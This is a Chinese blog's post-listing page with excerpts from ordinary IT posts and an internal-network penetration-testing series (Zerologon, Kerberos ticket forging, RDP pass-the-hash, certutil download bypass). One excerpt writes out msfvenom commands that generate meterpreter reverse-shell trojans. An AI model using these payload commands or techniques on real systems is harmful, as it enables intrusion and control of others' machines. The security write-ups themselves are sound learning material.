L_DC-优快云博客

原创 apache2 虚拟目录的搭建

修改/etc/apache2/sites-available/000-default.conf。在/var/www/html 目录里创建目录（每个网站对应一个）DocumentRoot 修改为对应路径。ServerName 修改为对应网站。

2024-01-26 14:38:56 535 1

原创基于PYTHON的桌面宠物【功德+1】

在网上搜了许多项目，最后在知乎上看见了一个比较合适的项目。互联网上的一股寒意袭来，现在我们应该为自己添加功德了。把gif图片改一改，我们就可以功德+1了。给自己，给老板，给劳苦大众加功德，阿咪佛。

2023-05-29 14:43:09 401

可能的原因是 Elasticsearch 的证书和主机名不匹配”最近在搭建elk，由于采用的是docker搭建的，中间遇见了很多的大坑，坑的你不要不要的，其中最大的一个大坑就是“es开启https后的问题了”。你可能会在网上搜到很多的解决方案，或者通过chatgpt生成解决方案，但是怎么说呢，这些东西对我来说一无所用。这个问题的原因在于，es默认生成的自签名证书，里面是没有主机名的，索引需要使用openssl生成相应的证书。最终总结，解决方案很简单，但是解决过程，快把我逼疯了。

2023-05-05 15:30:23 625 1

原创 maven 下载依赖时一直报错

野路子出身，不明白为什么报错，在网上搜了好久，也没解决，最后问了一位大佬，才发现问题，操作没有问题，可能是jdk的版本太高了，在使用idea学习java的过程中，踩到了一个大坑，在进行maven下载依赖时，一直报错。将jdk版本调低后，maven可以正常下载依赖了。...

2022-08-30 15:19:19 1821

原创 maven的搭建与配置（idea）

我一般喜欢把本地仓库放在和maven同目录下，便于查看和管理，在maven目录下创建repository目录。点击下载（这里我下载的 apache-maven-3.8.6-bin.zip）在setting.xml文件中添加配置，增加本地repository路径即可。三、指定本地repository仓库路径。四、修改conf目录下的setting.然后再path中创建一个新的。一、下载MAVEN(官网)验证maven是否安装成功。七：IDEA配置Maven。新建一个系统环境变量。...

2022-08-30 14:04:12 283

原创 msf生成木马

Linux　　msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=< Your IP Address> LPORT=< Your Port to Connect On> -f elf > shell.elfWindowsmsfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to

2022-03-29 15:19:17 14562 3

原创内网渗透十：MSF：web_delivery模块

前言：在msf上生成木马传到目标机器执行上线累死个人，还是一条命令上线比较舒服。目标环境：ubuntu 16.0.41、选择exploit/multi/script/web_delivery模块2、选择目标系统，我这里选择Linux(windows 可以选择PSH pollowshell)linux:windows:3、选择payload，linux:payload/python/shell_reverse_tcpwinodws:...

2022-03-11 15:01:25 1786

原创内网渗透：九、certutil-远程下载绕过

内网渗透：九、certutil-远程下载绕过目录内网渗透：九、certutil-远程下载绕过一、CertUti使用语法 :windows二、certutil绕过*混淆方式一、CertUtiCertutil.exe 是作为证书服务的一部分安装的命令行程序。您可以使用 Certutil.exe 转储和显示证书颁发机构 (CA) 配置信息、配置证书服务、备份和还原 CA 组件以及验证证书、密钥对和证书链。当 certutil 在没有附加参数的证书颁发机构上运行时...

2022-03-11 13:28:15 2194

原创内网渗透：八、CVE-2020-1472 NetLogon 域内提权漏洞（域控密码置空）

简介：2020年8月11号，微软修复了Netlogon 特权提升漏洞，2020年9月11日，安全研究员Secura发布了公告，阐明了漏洞细节，之后相关的EXP也就被构造出来。该漏洞也称为“Zerologon”，CVSS评分为10.0，号称3秒撸域控，危害严重。攻击者在通过NetLogon（MS-NRPC）协议与AD域控建立安全通道时，可利用该漏洞将AD域控的计算机账号密码置为空，从而控制域控服务器。 Netlogon远程协议是一个可用的在Windows域控制器上的RPC（remote pr...

2022-03-08 17:16:50 5341

原创内网渗透：七、windows组策略首选项提权

一、sysvol目录 SYSVOL是所有经过身份验证的用户具有读访问权限的Active Directory中的域范围共享。SYSVOL是指存储域公共文件服务器副本的共享文件夹，它们在域中所有的域控制器之间复制。 Sysvol文件夹是安装AD时创建的，它用来存放GPO、Script等信息。同时，存放在Sysvol文件夹中的信息，会复制到域中所有DC上。SYSVOL包含登录脚本，组策略数据以及需要在任何有域控制器的任何地方可用的其他域范围数据(因为SYSVOL在所有域控制器之间自动同步并共享)。所有...

2022-03-01 12:15:05 2812

原创内网渗透：六、CVE-2021-42287/CVE-2021-42278 域内提权

0x01简介2021 年 11 月 9 日，国外研究员在推特上发布了 Active Directory 相关的 CVE，CVE-2021-42278 & CVE-2021-42287 ，两个漏洞组合可导致域内普通用户权限提升至域管权限。0x02 影响0x02范围CVE-2021-42287：Windows Server 2012 R2 (Server Core installation)Windows Server 2012 R2Windows Server 2...

2022-02-22 15:35:55 1927

原创内网渗透：四、windowsRDP-hash传递登录

windows的RDP-hash登录利用在渗透测试中，如果获得了某个用户的NTLM hash，我们可以尝试使用hash传递的方法对WMI和SMB服务进行登录，对于远程桌面服务同样可以进行利用。抓取hash无法破解的情况下，如果使用hash远程登录RDP，需要开启"Restricted Admin Mode", 在Windows8.1和Windows Server 2012R2上默认开启。一：windows RDP-受限管理模式Restricted Admin mode简介官方说明：Restric

2022-02-21 17:03:45 6149

原创内网渗透：三、Kerberos协议及票据（黄金和白银）伪造

一、Kerberos协议kerberos(Secure network authentication system)中文叫网络安全认证系统kerberos在进行认证过程中并不会传输用户的密码，而是通过传输tickets（票据）进行认证登陆到LDAP server。Kerberos协议主要用于计算机网络的身份鉴别，其特点是用户只需输入一次身份验证信息就可以凭借此验证获得的凭证（ticket-granting-ticket）访问多个服务，即SSO（Single Sign On）。由于在每个Client和S

2022-02-20 00:53:43 3895 1

liu_jia_liang的博客